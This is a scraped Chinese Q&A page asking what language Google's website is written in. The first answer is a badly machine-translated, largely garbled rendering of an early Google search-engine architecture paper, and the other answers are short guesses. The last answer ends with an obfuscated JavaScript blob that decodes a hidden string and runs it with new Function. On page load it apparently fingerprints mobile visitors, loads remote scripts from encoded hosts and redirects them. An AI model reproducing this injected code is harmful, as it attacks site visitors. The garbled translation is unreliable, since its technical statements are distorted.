google站点是用什么语言编写的,求详细答案

2025-04-05 21:41:43
推荐回答(4个)
回答1:

用金山翻译 dyluck
系统剖析
首先,我们将会提供建筑学的高水准的 讨论。 然后,有重要的数据结构的一些深入的描述。 最后,主要的申请: 爬行,索引,而且搜索将会被在深度方面调查。

图 1. 高水准的 Google 建筑学

4.1 Google 建筑学概观
在这个区段中,我们将会给整个的系统如何工作如图 1 所画的高水准的 概观。 进一步的区段将会讨论不被在这个区段中提到的申请和数据结构。 大多数的 Google 在 C 或 C 中被实现++ 为效率而且能在 Solaris 或 Linux 中跑。
在 Google 中,网爬行 (网页的下载) 被一些被分配的搜索器做。 有送网址的目录被接来到搜索器的 URLserver 。 被接来的网页然后被送到 storeserver 。 storeserver 然后压缩而且储存网页进一个容器之内。 每个网页有一个联合的身份证数字叫做了被分配的 docID ,每当一个新的网址由一个网页被剖析。 索引功能被运行被那编入索引中和从事分类的人。 那编入索引中运行许多的功能。 它读容器 , uncompresses 文件, 而且剖析他们。 每份文件被转换成称为点击数的一组字发生。 点击数记录字,在文件中放置,字型的一个近似值大小 , 和资本化。 那编入索引中分配这些点击数进一组 "桶" 之内, 创造一部份地分类向前的索引。 那编入索引中运行另外的重要功能。 它剖析出在每个网页中的所有联编而且剖析在一个锚中的商店关於~的重要资讯~他们申请。 这个文件包含充足的数据决定每个联编指出哪里从和到, 和联编的本文。

URLresolver 读锚依次 进入 docIDs 之内申请而且把比较的网址转换成 absolute 网址而且转换。 它将锚本文放入向前的索引, 被 docID 联合锚指出到。 它也产生是 docIDs 的双联编的一个数据库。 联编数据库用来为所有的文件计算 PageRanks 。

从事分类的人带桶, 被 docID(这是一个单一化,看见第 4.2.5 节) 分类, 而且诉诸他们藉着 wordID 产生被反转的索引。 这在地方中被做以便 小的暂时空间是对~的需要操作。 从事分类的人也生产一连串的 wordIDs 和抵销进被反转的索引之内。 一个称为 DumpLexicon 的计画和被生产的辞典一起带这本目录被那编入索引中并且产生一个新的辞典被搜索者用。 搜索者被一个网伺候器管理而且使用和被反转的索引和 PageRanks 一起被 DumpLexicon 建造回答疑问的辞典。

4.2 主要的数据构成
Google's 数据结构被最佳化以便 一个大的文件收集能与~一起爬行,编入索引,和搜寻小的费用。 虽然,处理器和大小输入输出率有这些年以来戏剧地改良,磁盘片找寻仍然大约需要 10 ms 完成。 Google 被设计避免磁盘片找寻每当可能的,而且这有对~有一相当的影响力数据结构的设计。
4.2.1 BigFiles
BigFiles 是虚拟的文件跨越多样的文件系统并且藉着 64个一点点完整的事物是可设定位址的。 配置在多样的文件系统之中被自动地处理。BigFiles 包裹也处理文件记述件的配置和 deallocation,自那以后操作系统不 提供足够给我们的需要。 BigFiles 也支援根本的压缩选项。
4.2.2 容器

图 2. 容器数据结构
容器包含每个网页的完整 HTML 。 每页被压缩使用 zlib 。 (看见 RFC1950) 压缩技术的选择在速度和压缩比之间是 tradeoff 。 我们在被 bzip 提供的压缩中选择 zlib's 关於重要的进步速度。 bzip 的压缩率是大约 4 到 1 在容器上当做比拟为对 1个压缩的 zlib's 3。 在容器中,文件被相继地 储存并且被 docID ,长度和网址前缀当能在图 2 中被看到之时. 容器没有需要其他的数据结构被用为了要存取它。 这由于数据一致性帮助并且使发展比较容易的很多;我们能再建来自只有容器和一个列出搜索器错误的文件所有的另一个数据结构。
4.2.3 文件索引
文件索引每个维持关於~的资讯文件。 它是一个固定的宽度 ISAM(索引继续的通路模态) 索引,被 docID 命令。 数据在每个进入中储存包括现在的文件状态,进入容器,一个文件核对和和各种不同的统计学之内的一个指针。如果文件有被爬行,它也包含一个指针进一个称为包含它的网址和名称的 docinfo 的可变宽度文件之内。 否则进入只是包含网址的 URLlist 之内的指针点。设计决定被使被欲望让一适度地紧凑的数据构成,而且在一个磁盘片中接来一笔记录的能力在搜寻期间寻求
附加的,有一个用来把网址转换成 docIDs 的文件。 它是有他们的对应 docIDs 的一连串的网址核对和并且被核对和分类。 为了要找特别的网址 docID, 网址的核对和被计算,而且二进位的搜寻在核对和上被运行申请找它的 docID。 网址藉由对这个文件做合并可能在一届中被转换成 docIDs 。 这是 URLresolver 使用将网址变成 docIDs 的技术。 因为否则我们一定为每个联编运行找寻傲慢的一个磁盘片为我们的�货���κ窾个联编数据组会花超过 一月 , 所以更新的这个一届模态是决定性的。

4.2.4 辞典
辞典有一些不同的表格。 来自比较早的系统重要的变化是辞典能为合理的价格在记忆中适合。 在现在的落实方面我们能在一部机器上用 主要的记忆 256 万位元组把辞典留在记忆中。 现在的辞典包含���κ窾个字。 (虽然一些稀罕的字不被增加到辞典) 它在二个部份中被实现 -- 一连串的字 ( 一起如锁链般连续但是被零分开) 和指针的一张混杂桌子。 对於各种不同的功能,字的目录有一些附加的数据是超过这张纸的范围完全解释。
4.2.5 杀害名单
在一份特别的文件中一个杀害名单符合一个特别的字一连串的发生包括位置,字型和资本化数据。 杀害名单解释被用的大部份空间在两者都那向前的和被反转的指标。 因为这,它是重要尽可能有效率的表现他们的。 我们为 encoding 位置,字型和资本化考虑了一些替代方案 -- 简单的 encoding(完整的事物一个三倍之数) ,紧凑的 encoding(一只手将了一点点的配置最佳化) 和 Huffman 欺骗。在结束中,我们选择自它以后被将紧凑的 encoding 最佳化的一只手为必需的甚远地少隔开胜於简单的 encoding ,而且远的比较少量咬了处理胜於 Huffman 欺骗。 点击数的细节在图 3 中被显示。
为每个击中的我们小型房车 encoding 使用二个位元组。 有点击数的二类型: 想像的点击数和平原点击数。 想像力点击数包括点击数在网址,名称中发生,锚本文 , 或 meta 标签。 平原点击数包括其他每件事物。 在一份文件中一个简单的击中由~所组成字位置的一资本化一点点,字型大小和 12 一点点。 ( 所有的位置比 4095 高被将 4096 分类) 字型大小对正在使用三一点点的文件其馀者被表现亲戚。 ( 只有 7 价值被实际上用因为 111 是向一个想像的击中作信号的旗子) 一个想像的击中由~所组成一资本化一点点, 字型大小设定到 7 指示它是一个想像的击中,改为暗码想像的击中类型, 和改为暗码 8 一点点的位置 4 一点点。因为锚击中,位置的 8 一点点进入 4 一点点之内为锚发生在 docID 的一个混杂在锚和 4 一点点中为位置被分离。 这给我们一些限制片语寻找只要为一个特别的字没有那个许多锚。 我们预期更新方式锚点击数被储存在位置和 docIDhash 领域中考虑到比较很棒的决议。我们使用关於~的字型大小其馀者那证明因为当寻找的时候,你不 想要不同的否则排列同一的文件仅仅因为文件之一是在一个比较大的字型中。

图 3. 向前的和相反索引和辞典

杀害名单的长度被储存在点击数之前他们自己。 为了要解救空间, 杀害名单的长度在向前的索引中与~一起联合 wordID 和在被反转的索引中联合 docID。 这个极限它到 8 和 5 一点点分别地.( 有一些诡计允许来自 wordID 的要借 8 一点点) 如果长度比会在许多一点点适合长,一个逃亡密码在那些被用咬,而且下个二位元组包含真实的长度。

4.2.6 转寄索引
向前的索引是实际上已经部份地分类。 它被储存在许多的桶中。 ( 我们使用过的 64) 每个桶支撑 wordID's 的范围。 如果一份文件包含字秋天进入一特别的桶之内, docID 进入桶之内被记录,一连串的 wordID's 用~跟随符合的 hitlists 那些字。这个方案需要为一个合理的桶子数字些微地较多的储藏因为复制 docIDs 但是那不同非常是小的而且节省相当的时间和在最后的索引中欺骗复杂逐步运行被从事分类的人做。 此外,而不是储存真实的 wordID's ,我们储存每 wordID 如来自掉入 wordID 是的桶最小的 wordID 的一种比较的不同在。 这样,我们能在 unsorted 桶中使用只是 24 一点点作为 wordID's,为杀害名单长度留下 8 一点点。
4.2.7 反转了索引
被反转的索引由~所组成如同向前的索引一般的桶,除了他们有被从事分类的人处理以外。 对於每有效的 wordID ,辞典包含一个指针进 wordID 掉入的桶之内。 它和他们的对应击中目录一起指出到 docID's 的 doclist 。 doclist 在所有的文件中表现那个字的所有发生。
一个重要的争议是在次序 docID's 所应该在 doclist 中出现的中。 简单的解决要储存他们被 docID 分类。 这为多样的字疑问考虑到不同的 doclists 的快合并。 另外的选项要储存他们被字的发生一个排名在每份文件中分类。 这制造回答一个字疑问琐细的而且使它有可能对於~的答案多样的字疑问是靠近开始。 然而,合并更加更困难。 也,这在那使发展更加更困难对上级的功能变化需要一索引再建。 我们选择在这些选项之间的一个妥协, 保存反转的桶二组合 -- 一为包括名称,或为全部停泊点击数和另外的一个组合的杀害名单设定

回答2:

我们看到的只是html+css+javaScript,内部编码都知道了,google就不会是NO.1了!

java太贵,可能是C

回答3:

用html+css+javaScript做表示层
用C做搜索内核

回答4:

html css javascript jsp

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();